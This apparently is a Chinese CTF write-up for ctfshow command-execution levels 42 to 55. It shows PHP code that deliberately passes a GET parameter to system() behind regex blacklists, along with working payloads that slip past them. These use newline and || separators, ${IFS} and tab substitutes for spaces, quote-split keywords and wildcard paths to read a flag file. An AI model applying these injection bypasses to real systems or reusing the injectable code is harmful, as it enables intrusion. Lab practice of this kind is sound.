ctfshow web入门 命令执行 42-55
42-55 都是基于 GET 方式传参执行 system() 函数
重点
空格绕过
查看文件内容命令
关键字绕过
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
要求:正确执行不显示,错误执行显示错误信息
知识点
1、system($c." >/dev/null 2>&1");
将 $c 执行结果输出到 /dev/null,将错误信息正常显示
2、截断方法:&&、||、%0a 等
重点在于如何构造错误信息,也就是截断
payload
c=cat flag.php; //这里使用 ; 截断,需查看页面源代码
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
要求:在 42 的基础上使用黑名单匹配,禁止使用分号、cat
知识点
1、查看文件内容命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi
2、分号:代表语句的结束,?> 代表 PHP 脚本的结束。理论上可以用 ?> 代替 ; ,但实际不可以,因为这里使用 ; 实现语句错误,而 ?> 不会造成语句错误
payload
c=tail flag.php%0a //屏蔽分号没用,只需要造成错误信息就行,用 %0a 截断
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
黑名单增加 flag
知识点
payload
c=tail fla\g.php%0a
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
黑名单增加 空格
知识点
空格绕过:<、<>、{}
$IFS:${IFS}、$IFS$q、$IFS\、$IFS'f'、$IFS?、
%09(tab水平)、%0a(换行)、%0b(tab垂直)、%0c(新一页)、%a0(空格)
web48 黑名单提供 payload:awk 命令、cut 命令、sed 命令
payload
c=tail%09f*%0a // < 和 <>,不能与 ? * 一起使用
//由后面 web48 的黑名单提供的 payload
c=awk%09'{print%09$0}'%09fl?g.php%0a
c=cut%09-c1-%09fl?g.php%0a
c=sed%09'1,9p'%09fl?g.php%0a
web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
黑名单增加 数字、$、*,屏蔽 空格绕过中的:${IFS}、$IFS$9 与通配符 *
payload
c=tac%09fl?g.php%26%26tac%09fl?g.php // & 的url编码为 %26
//%26 %09 都是url编码,虽然黑名单增加了数字,但那属于后端黑名单检测,不影响url编码
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
黑名单增加很多命令,但都是文件查看命令,此外我们还有 tac、nl、paste、rev、uniq、grep、od、vi
web48 黑名单提供 payload:strings 命令
payload
c=uniq%09fl?g.php%0a //这里使用 %0a 截断,需要查看源代码 // 这里使用 || 截断 c=tac%09fl?g.php|| c=tac%09fl?g.php||tac%09fl?g.php c=ca''t<fl''ag.php|| //也可以利用单双引号,反斜杠绕过,这里使用 < 代替空格 //这里使用 && 截断 //注意:& 在 url 中作为连接符,需要对其进行 url 编码 //url 会将 %26 识别为 & //将 %26 识别为 &,并将 & 作为连接符,这是两个动作,需两次 url c=grep%09show%09fl?g.php%26%26 c=grep%09show%09fl?g.php%26%26grep%09show%09fl?g.php //这是 web48 中黑名单提供的 payload ,需查看源代码 c=strings%09fl?g.php%0a
web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
黑名单增加 sed、cut、awk、strings、od、curl、反引号(``),还有 tac、nl、paste、rev、uniq、grep、vi
对于 sed、cut、awk 用法在 web45 体现
对于 strings 在web47 体现
反引号作用类似于 system() ,od 读取内容以二进制方式显示,curl 不会用,还请指教
awk 命令、cut 命令、sed 命令、strings 命令
payload
c=tac%09fl?g.php%0a
web49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
屏蔽 %09 %26 ,主要屏蔽 url 编码
空格绕过还可用:< <>
关键字绕过还可以用:? '' "" \
payload
c=tac<f''lag.php||
c=tac<>f\lag.php||
//这里 < 和 <> 可以与 '' "" \ 任意组合,但不能与 ? 组合,原因不明
web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
0x09、0x26、\x09、\x26 为 ascii 码,但在前面关卡中怎么利用 ascii 码,由于水平受限,没有尝试出来
payload
//与 web49 别无二致
c=tac<f\lag.php||
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
黑名单多了个 tac,还有 nl、paste、rev、uniq、grep、vi
payload
c=uniq<f\lag.php||
c=ca''t<f\lag.php||
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
黑名单增加 <> ,剔除 $
因此,可用的空格绕过方式:{}、$IFS
payload
c=uniq${IFS}f\lag.php||
发现假 flag ,很明显要么 flag 的位置变了,要么 flag 文件名变了
c=ls${IFS}../|| //利用 ls 一层层查看
最后在 ../../../ 目录下,也就是根目录下找到 flag
c=ls${IFS}../../../||
payload
c=c''at${IFS}/fl''ag||
c=uniq${IFS}../../../fla\g||
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
黑名单增加 wget
我在 web52 试了试 wget 但只能下载 index.php 而 flag.php 没有内容,水平受限没试出来,师傅是真的牛
代码删除了 >/dev/null 2>$1,不需要截断报错,这里正常输出
payload
c=uniq${IFS}fl''ag???? //我以为 flag 换到根目录去了,结果 flag 路径没换
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
黑名单增加 scp、rm(不理解为什么会出现 rm,还是说用 rm 删除index.php,再用 scp 上传一个自己写的 index.php ,妥妥炫技)
但不能完整出现 cat、flag、more、wget、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、nl、scp、rm
payload
//利用 mv 命令将 flag.php 改名,再读取
c=mv${IFS}fl?g.php${IFS}q.txt
c=uniq${IFS}q.txt 或 url/q.txt
//朴实无华
c=grep${IFS}show${IFS}fl??????
web55
这道题不太一样属于无字母无数字的webshell的类型,但只是无字母有数字,有其他解法,因此放于此
关于这类题可以看看p神的文章
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
黑名单真狠,所有字母全部屏蔽,但把数字和空格留出来,其他师傅用了三种办法:base64 命令、bzip2 命令、shell 脚本
知识点
1、linux 中的执行命令在 /bin 文件
在 linux 中执行 ls、cat、rm 等命令都是调用 /bin 文件里的命令,执行 ls 跟执行 /bin/ls 是一样的
/bin 文件中包含 base64、bzip2,这是这道题的关键
2、使用通配符,可指定匹配范围
3、php 临时目录命名规则:phpaaaaaA(php+5位小写+1位大写)
4、ASCII 码值 a-97 A-65 [A-Z] 指 65-90 这个范围
@-64 [-91,[@-[] 指 64-91 这个范围,其中包含大写字母 A-Z
payload
1、利用 base64 加密 c=/???/????64 ????.??? //出现被 base64 加密后的文件,需要进行 base64 解密 //等同于 /bin/base64 flag.php 因为所用命令跟文件具有唯一性,因此可以使用通配符进行匹配 2、利用 bzip2打包,然后访问打包文件 c=/???/???/????2 ????.??? //对 flag.php 进行打包,默认打包后缀 bz2 //访问 url/flag.php.bz2,进行下载,获取 flag //等同于/usr/bin/bzip2 flag.php
3、上传脚本先要制作一个提交脚本,form 表单的 action 的网站需要更改(仅供参考)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://309b7546-2e5a-4045-bb70-a205fa880913.challenge.ctf.show" method="post" enctype="multiport/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后抓包,修改请求头、请求体,我本地抓到的包不太一样,一添加 c 的参数就出错,这张图是其他师傅的,图片来源
同时附上一个视频讲解